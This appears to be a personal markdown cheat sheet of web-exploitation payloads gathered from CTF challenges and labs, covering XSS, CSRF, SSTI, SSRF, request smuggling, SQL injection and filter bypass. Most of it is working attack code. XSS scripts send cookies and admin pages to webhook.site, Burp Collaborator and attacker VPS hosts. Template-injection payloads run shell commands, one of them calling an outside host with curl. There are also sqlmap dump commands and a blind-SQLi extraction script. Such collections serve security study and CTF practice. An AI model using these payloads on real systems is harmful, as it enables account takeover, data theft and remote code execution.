Skip to content

Latest commit

 

History

History
888 lines (757 loc) · 36.3 KB

web.md

File metadata and controls

888 lines (757 loc) · 36.3 KB

+

labs

information disclosure

Webhook.site - Test, process and transform emails and HTTP requests

@app.route('/', methods=['GET', 'HEAD', 'POST'])
def index():
    # e.g. Vary, Origin
    print(request.headers)
    print(request.args)
    print(json.dumps(request.json))
    return "OK"

if _name__ == "__main__":
    app.run(host='0.0.0.0', port=80, debug=True, threaded=True)

referrer

prototype pollution

Object.prototype.outputFunctionName = 'x;<code>;x'
</pre>
<script type="text/javascript">
RegExp = function() {
    return {'test' : function(){
        return true;
    }}
}
</script>
<input type="text" id="secretbox" value="nop" />
<script id="bla" src="http://challs.ctf.site:10000/safebox/file.js" type="text/javascript" onload="document.location.href='http://doma.in/?s='+document.getElementById('secretbox').value;"></script>

Proxy object:

RegExp.prototype.test = new Proxy(RegExp.prototype.test, {
          apply: function(target, thisArg, argumentsList) {
              console.log(thisArg.source);
              console.log(argumentsList[0]);
              if((thisArg.source == '^file:\\/\\/.+') && (argumentsList[0] === 'file:///Applications/Calculator.app')){
                return false;
              }
              return Reflect.apply(target, thisArg, argumentsList)
          }
        });
        setTimeout(()=>{
            a = document.createElement("A")
            a.href="file:///Applications/Calculator.app"
            document.body.appendChild(a)
            a.click()
        }, 3000);
- https://blog.redteam.pl/2020/08/rocket-chat-xss-rce-cve-2020-15926.html
- [#276031 Remote Code Execution in Rocket.Chat Desktop - HackerOne](https://hackerone.com/reports/276031)

HTTP Parameter Pollution

DOM clobbering

cross-site request forgery (CSRF)

  • https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery

  • Server validates that form request was sent with same CSRF token in user session

    • Extracting token: hardcoded in input / included by js
      <img src="http://generateerror.com/does-not-exist.jpg" onerror="javascript:var all_inputs = document.getElementsByTagName('input'); var token = '';for(var i = 0; i < all_inputs.length; i++){if (all_inputs[i].name == 'csrftoken'){token = all_inputs[i].value;}}var iframe = document.createElement('iframe');iframe.src = 'http://ctf.nullcon.net/challenges/web/web4/set_admin.php?user=pepe&csrftoken=' + token + '&Set=Set';document.body.appendChild(iframe);"/>
    • cache poisoning - avoid revoking CSRF token by triggering errors in script tag sourcing JSONP payload
      # CORS violation (unmatched domain name, forcing apply to script tag)
      https://milk.chal.seccon.jp./note.php?_=aaaaaaaaaaaa%20crossorigin%3Duse-credentials
      # || misrecognize charset, causing syntax error
      ?_=aaaaaaaaaaaa%20charset%3Dunicodefffe
      # || misinterpret `defer` attribute as value of `aaaa` attribute, causing token callback to not be defined
      ?_=aaaaaaaaaaaa%20aaaa%3D
      # || mismatch in URI check logic to bypass added CSP header
      https://milk.chal.seccon.jp/note.php/.php
      
    • Mitigation: X-Frame-Options = DENY

      The loading of "http://foo.com" in a frame is denied by "X-Frame-Options" directive set to "DENY".

  • Multiple vulnerabilities that can result in RCE · Issue #1122 · Codiad/Codiad · GitHub

Man-In-The-Middle (MITM)

  • Mitigation: Firefox: security.mixed_content.block_active_content

spread operator pollution

  • e.g. skip one endpoint's check by using another endpoint without that check, using former endpoint's properties
    // addData: ({ uid, data, type })
    database.addData({ type: 'link', ...req.body, uid });
    // payload
    {"data": "javascript: fetch(`https://requestbin.io/qykha7qy?data=${encodeURIComponent(document.cookie)}`)", "type": "link"}

command injection

server-side template injection (SSTI)

  • jinja

    {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
    
    <script>
    // Payload: {{ ''.class_.__mro__[1].__subclasses__()[412]("cat server.py", shell=True, stdout=-1).communicate() }}
    fetch('http://localhost:5000/',{
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: "url=1&score=1&feedback=%7B%7B%20%27%27.__class__.__ mro__%5B1%5D.__ subclasses__%2829%5B412%5D%28%22cat%20server.py%22%2Cshell%3DTrue%2Cstdout%3D-1%29.communicate%28%29%20%7D%7D&nam=1"}).then(response => response.text()).then(data => fetch("http://demo.itmo.xyz/?nnn="+encodeURI(data)).then(response => document.write(response)));
    </script>
  • freemarker

    // https://ruvlol.medium.com/rce-in-jira-cve-2019-11581-901b845f0f
    $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://avtohanter.ru/rcetest?a=a').waitFor()
    
    // https://cyc10n3.medium.com/rce-via-server-side-template-injection-ad46f8e0c2ae
    ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("ls")}
  • spring, thymeleaf

    // Note: Only first word returned due to space splitting
    // Reference: https://github.com/veracode-research/spring-view-manipulation/
    GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x HTTP/1.1
    
    // https://l3yx.github.io/2020/09/04/DDCTF-2020-WEB-WriteUp/
    def getClass(className):
        return "T(com.ctf.model.User).getClassLoader().loadClass("+getString(className)+")"
    poc = "${"+getClass("java.util.Arrays")+".toString("+getClass("java.nio.file.Files")+".list("+getClass("java.nio.file.Paths")+".get("+getString("/")+")).toArray()"+")}"
    poc = "<input th:value="+poc+">"
    
  • https://github.com/w181496/Web-CTF-Cheatsheet#ssti

  • Server-Side Template Injection | PortSwigger Research

  • ZAP-ESUP: ZAP Efficient Scanner for Server Side Template

    • p. 51: payloads
    • p. 52: polyglot - <#set($x<%={{={@{#{${xux}}%>)

server-side request forgery (SSRF)

curl -v 'https://let-me-see.pwn.institute/' -G --data-urlencode 'url=http://127.0.0.1/?url=http://daffy-malleable-tote.glitch.me/go'

Reverse DNS checks

DNS Rebind

  • DnsFookup
    • record type = A; IP = 93.184.216.34; Repeat = 1
    • record type = A; IP = 127.0.0.1; Repeat = 1

HTTP Request Smuggling, Desync Bypass

Send request to backend bypassing frontend (e.g. proxy)

# frontend uses CL, backend uses TE
# - CL matches 2 requests
# - send 2 times, on 2nd expect "Unrecognized method GPOST"
echo -n "POST / HTTP/1.1\r\nHost: ac4d1f4a1e49785a80ae0997008b001c.web-security-academy.net\r\nCookie: session=gexP10lOiJEnEtpU7ew1ROWk8u2RS97A\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG" \
    | openssl s_client -ign_eof -connect ac4d1f4a1e49785a80ae0997008b001c.web-security-academy.net:443

# frontend uses TE, backend uses CL
# - TE matches 2 requests
# - send 2 times, on 2nd expect "Unrecognized method GPOST"
# - 1st req len = 4: 2nd req len value + newline (2 chars + \r\n)
# - 2nd req len = `len(o)-7`: remove payload after 2nd request's headers (\r\n0\r\n\r\n)
echo "POST / HTTP/1.1\r\nHost: ac2b1f971e4e6d0680a69d850033000f.web-security-academy.net\r\nCookie: session=hC2vufpItiaz4fmOv5WWEqCA8yowj0iu\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n""$(python -c 'import re, sys
o = re.sub(b"\n", b"\r\n", open(sys.argv[1], "rb").read())
sys.stdout.buffer.write(bytes(str(hex(len(o)-7))[2:], "ascii") + b"\r\n" + o)' ~/code/snippets/ctf/web/request_smuggling_te_cl.txt)" \
    | openssl s_client -ign_eof -connect ac2b1f971e4e6d0680a69d850033000f.web-security-academy.net:443

# Duplicated headers
~/code/snippets/ctf/web/request_smuggling_cl_cl.txt

Upgrade protocol

directory traversal

Cross-Site Scripting (XSS)

DOM-Based:

  • Sources: document.url, document.referrer, location.href
  • Sinks: element.innerHTML(), eval(), setTimeout(), document.write()
'"><img src=https://foo>

'"><script>
xmlhttp = new XMLHttpRequest();
xmlhttp.onload = function() {
    x = new XMLHttpRequest();
    x.open('GET', 'https://webhook.site/OF728FeO-d6d8-4195-a627-F80F4Fd8b92d?' + btoa(xmlhttp.response));
    x.send(null);
    //document.write("<img src='https://webhook.site/OF728FeO-d6d8-4195-a627-F80F4Fd8b92d?" + btoa(xmlhttp.responseText) + "'>");
}
xmlhttp.open('GET', '/admin');
xmlhttp.send(null);
</script>

<!-- Vanilla -->
nc -lvp 1000 | tee log.txt
<script> var xhr = new XMLHttpRequest(); xhr.open('GET', "http://johnhammond.org:1000/?content=" + btoa(document.body.InnerHTML), true); xhr.send(); </script>
<script>
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function() {
    document.location="http://vps_ip:23334/?"+btoa(xmlhttp.responseText);
}
xmlhttp.open("GET","http://127.0.0.1:5000/notes?name=Ann Cobb", true);
xmlhttp.send();
</script>

<!-- jQuery -->
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js'></script><script> var x = $('body').html().toString(); $.post('http://foo/catcher.php', x); </script>

<!-- ES6 -->
<script>fetch('https://webhook.site/OF728FeO-d6d8-4195-a627-F80F4Fd8b92d?' + btoa(document.cookie));</script>
<script>
fetch('http://localhost:5000/notes?name=Angela%20Turner').then(response => response.text()).then(
data => fetch("http://demo.itmo.xyz", {
    method: "POST",
    headers: {
        'Content-Type': 'application/json'
    },"body": JSON.stringify(data)})).then(response => document.write(response));
</script>

LFI:

<script>
var xhr = new XMLHttpRequest;
xhr.onload = function() {
	document.write(this.responseText);
};
xhr.open("GET", "file:///etc/passwd");
xhr.send();
</script>

Mitigations:

Polyglots:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">
    <image id="image0" width="751" height="751" x="0" y="0" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
    <script>alert(1)</script>
</svg>

<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve">
  ...
  <g>
    <polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>
    <script type="text/javascript">
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
          var xhr2 = new XMLHttpRequest();
          xhr2.open("POST", "http://XXXX.burpcollaborator.net/");
          xhr2.send(xhr.responseText);
        }
      }
      xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
      xhr.withCredentials = true;
      xhr.send();
    </script>
  </g>
  ...
</svg>

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
    <script>alert(1)</script>
    <foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
        <embed xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(location)" />
    </foreignObject>
</svg>

<svg>
    <use xlink:href="data:image/svg+xml;base64,
    PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
    ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
    aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
    5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+
    PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
    JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
    NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
    RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
    OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
    A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
    amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ
    ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />
</svg>

SQL Injection (SQLI)

~/code/src/security/PayloadsAllTheThings/SQL Injection/Intruder

' or 1=1 UNION SELECT database(),1 #
' or 1=1 UNION SELECT table_schema, table_name FROM information_schema.columns WHERE table_schema = '' #

User-Agent: ' or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(1) #
User-Agent: ' or 1 group by concat_ws(0x3a,(select group_concat(table_name separator ',') from information_schema.tables where table_schema=database()),floor(rand(0)*2)) having min(1) #

%" UNION SELECT "one", "two"; --%";
%" AND username in (SELECT username FROM sqlite_master where username like "%") --

-- Given 3 columns in table:
telnet'	oorr	1=0	UNION	SELECT	*	FROM	(SELECT	1)	AS	a	JOIN	(SELECT	*	from	flag)	AS	b	JOIN	(SELECT	1)	AS	c;#

-- Error-based query: Output contains string "n1ctf"
-- WAF: preg_match("/get_lock|sleep|benchmark|count|when|case|rlike|count/i",$info)
-- ExtractValue(xml_frag, xpath_expr)
-- UpdateXML(xml_target, xpath_expr, new_xml)
'&&(select extractvalue(rand(),concat(0x3a,((select "n1ctf" from n1ip where 1=1 limit 1)))))&&'
-- ||
'&&(select extractvalue(rand(),0x3a6e31637466))&&'
-- ERROR 1105 (HY000): XPATH syntax error: ':n1ctf'
-- ||
'||(select ip from n1ip where updatexml(1,concat('~',(select if(ascii(substring((select database()),1,1))=100,'n1ctf','r3kapig')),'~'),3))||'
-- ERROR 1105 (HY000): XPATH syntax error: '~n1ctf~'
sqlmap -u "http://joking.bitsctf.bits-quark.org/index.php" --data="id=1&submit1=submit" -D hack -T Joker -C Flag --dump
sqlmap -u "http://ctf.sharif.edu:35455/chal/hackme/677aa21d5725bb62/login.php" --csrf-token="user_token" --csrf-url="http://ctf.sharif.edu:35455/chal/hackme/677aa21d5725bb62/" --data="username=a&password=a&Login=Login&user_token=" --dump
sqlmap -r seccon.txt  --ignore-401 --dbs --proxy=http://127.0.0.1:8080
sqlmap -r seccon.txt  --ignore-401 --hex --tables -D keiba --proxy=http://127.0.0.1:8080

# String delimiter sqli
sqlmap.py -u http://ctf.sharif.edu:8086/ --method=POST --data="book_selection=a" --cookie="PHPSESSID=my_sess_id" --prefix="9780060878849\'" --technique B --dbms=MySQL --risk=3 --string covers -D book_shop -T books -C book_serial --dump

# Boolean-based blind sqli
sqlmap.py -u http://ctf.sharif.edu:8082/login.php --method=POST --data="username=a&password=b" -p username --technique=B --string injection --dbms=MySQL --risk=3 -D irish_home -T users --dump --prefix="aa\""

Replace spaces with parenthesis:

import requests
import string

session = requests.session()
url = "http://202.120.7.197/app.php"
cookie = {"PHPSESSID": "ck8pgb52nkkb8sdg2c95ms7s16"}
flag = ""

for i in xrange(1, 50):
    for j in string.printable:
        if j == "%": continue
        param = {"action": "search", "keyword": "", "order": "if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{length},1)like({num}),price,name)".format(length=str(i), num=hex(ord(j)))}
        # print param
        res = session.get(url=url, params=param, cookies=cookie)
        content = res.text
        # print content
        if content.find("\"id\":\"5\"") > content.find("\"id\":\"2\""):
            print j
            flag += j
            print flag
            break
- https://www.40huo.cn/blog/0ctf-2017-writeup.html

NoSQL Injection

code injection

On: state persisted as objects (e.g. cookie)

j:[{"id":1,"body":__FILE__}]
j:[{"id":1,"body":["foo'"]}]
- https://github.com/saw-your-packet/ctfs/blob/master/DarkCTF/Write-ups.md#dusty-notes
    - https://artsploit.blogspot.com/2016/08/pprce2.html

deserialization

Path Traversal / Local File Inclusion (LFI)

nginx:

File Upload

Side Channels

jail, sandbox, waf, filter bypass

// == "Hello World!"
/Hello W/.source+/ordl!/.source
# Enumerate blocked chars
# Alternative: Burp Intruder
for n in {32..127}; do
    c=$(awk '{ printf("%c", $0); }' <<< $n)
    echo "$c"
    curl 'http://foo/' --data-raw 'cmd='"$c"'&submit=' | grep -E '(< HTTP)|error|success'
done 2>/dev/null | vim -

case studies

wasm

aws

  • https://0day.work/balccon2k20-ctf-let-me-see-and-dawsonite-writeups/
    # take aws domain name
    dig foo
    # take version id header
    curl -v 'http://foo.s3-website-us-east-1.amazonaws.com/bar'
    # take version id
    curl -v 'https://foo.s3.amazonaws.com/?versions&prefix=bar'
    # take access keys
    curl -v 'https://foo.s3.amazonaws.com/bar?versionId=zcoAvy97sFgFdR08.kypq1KyLj9iZuAD'
    aws s3api get-object --bucket foo --key bar bar